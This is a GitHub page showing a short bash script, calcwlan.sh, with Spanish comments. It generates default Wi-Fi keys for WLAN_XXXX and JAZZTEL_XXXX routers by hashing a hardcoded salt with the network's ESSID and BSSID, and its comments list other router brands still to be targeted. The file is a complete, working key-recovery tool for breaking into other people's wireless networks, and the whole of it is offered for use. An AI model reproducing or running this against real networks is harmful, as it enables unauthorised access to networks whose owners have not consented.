-
Notifications
You must be signed in to change notification settings - Fork 8
Expand file tree
/
Copy pathcalcwlan.sh
More file actions
executable file
·21 lines (18 loc) · 1.56 KB
/
calcwlan.sh
File metadata and controls
executable file
·21 lines (18 loc) · 1.56 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash
# pendientes: ono4xx wlan_xx wlan4xx
# pendientes: DLINK, ADSLXXXXXX y SpeedTouchXXXX
#Generador de claves para JAZZTEL_XXXX y WLAN_XXXX
#http://kz.ath.cx/wlan/
echo CalcWLAN by a.s.r
if [ $# -ne 2 ]
then
echo "Usage: $0 <ESSID> <BSSID>"
echo
echo "Example: $0 WLAN_C58D 64:68:0C:C5:C5:90"
exit 1
fi
HEAD=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)
BSSID=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d :)
BSSIDP=$(echo -n "$BSSID" | cut -c-8)
KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20)
echo "La puta clave es $KEY"